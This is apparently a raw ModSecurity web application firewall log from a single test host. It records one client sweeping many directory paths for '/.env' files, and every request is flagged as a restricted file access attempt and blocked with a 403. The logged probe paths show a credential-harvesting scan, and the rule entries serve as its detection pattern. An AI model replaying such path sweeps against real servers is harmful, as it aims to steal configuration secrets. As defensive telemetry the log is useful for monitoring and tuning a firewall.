[Thu Feb 26 01:03:08.356798 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jgAAAAY&quot;]
[Thu Feb 26 01:03:08.356979 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kolab-syncroton/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jgAAAAY&quot;]
[Thu Feb 26 01:03:08.365986 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lcomernbootcamp/projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqgAAAAc&quot;]
[Thu Feb 26 01:03:08.366246 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqgAAAAc&quot;]
[Thu Feb 26 01:03:08.366456 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqgAAAAc&quot;]
[Thu Feb 26 01:03:08.394189 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jwAAAAY&quot;]
[Thu Feb 26 01:03:08.394490 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jwAAAAY&quot;]
[Thu Feb 26 01:03:08.394668 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Kubernetes/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4jwAAAAY&quot;]
[Thu Feb 26 01:03:08.401561 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /leafer-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqwAAAAc&quot;]
[Thu Feb 26 01:03:08.401817 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqwAAAAc&quot;]
[Thu Feb 26 01:03:08.401997 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/leafer-app/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUqwAAAAc&quot;]
[Thu Feb 26 01:03:08.421300 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4kAAAAAY&quot;]
[Thu Feb 26 01:03:08.421562 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4kAAAAAY&quot;]
[Thu Feb 26 01:03:08.421728 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4kAAAAAY&quot;]
[Thu Feb 26 01:03:08.427060 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ledger_sync/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUrAAAAAc&quot;]
[Thu Feb 26 01:03:08.427365 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUrAAAAAc&quot;]
[Thu Feb 26 01:03:08.427549 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ledger_sync/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUrAAAAAc&quot;]
[Thu Feb 26 01:03:08.486465 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4kgAAAAY&quot;]
[Thu Feb 26 01:03:08.486723 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4kgAAAAY&quot;]
[Thu Feb 26 01:03:08.486901 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4kgAAAAY&quot;]
[Thu Feb 26 01:03:08.514138 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lambda/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4kwAAAAY&quot;]
[Thu Feb 26 01:03:08.514407 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4kwAAAAY&quot;]
[Thu Feb 26 01:03:08.514577 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4kwAAAAY&quot;]
[Thu Feb 26 01:03:08.541126 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /legal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUrwAAAAc&quot;]
[Thu Feb 26 01:03:08.541379 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUrwAAAAc&quot;]
[Thu Feb 26 01:03:08.541542 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legal/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUrwAAAAc&quot;]
[Thu Feb 26 01:03:08.552722 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /latest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lAAAAAY&quot;]
[Thu Feb 26 01:03:08.552979 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lAAAAAY&quot;]
[Thu Feb 26 01:03:08.553146 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/latest/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lAAAAAY&quot;]
[Thu Feb 26 01:03:08.574694 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /layout/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lQAAAAY&quot;]
[Thu Feb 26 01:03:08.574973 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lQAAAAY&quot;]
[Thu Feb 26 01:03:08.575147 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4lQAAAAY&quot;]
[Thu Feb 26 01:03:08.580575 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lemonldap-ng-doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-doc/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUsAAAAAc&quot;]
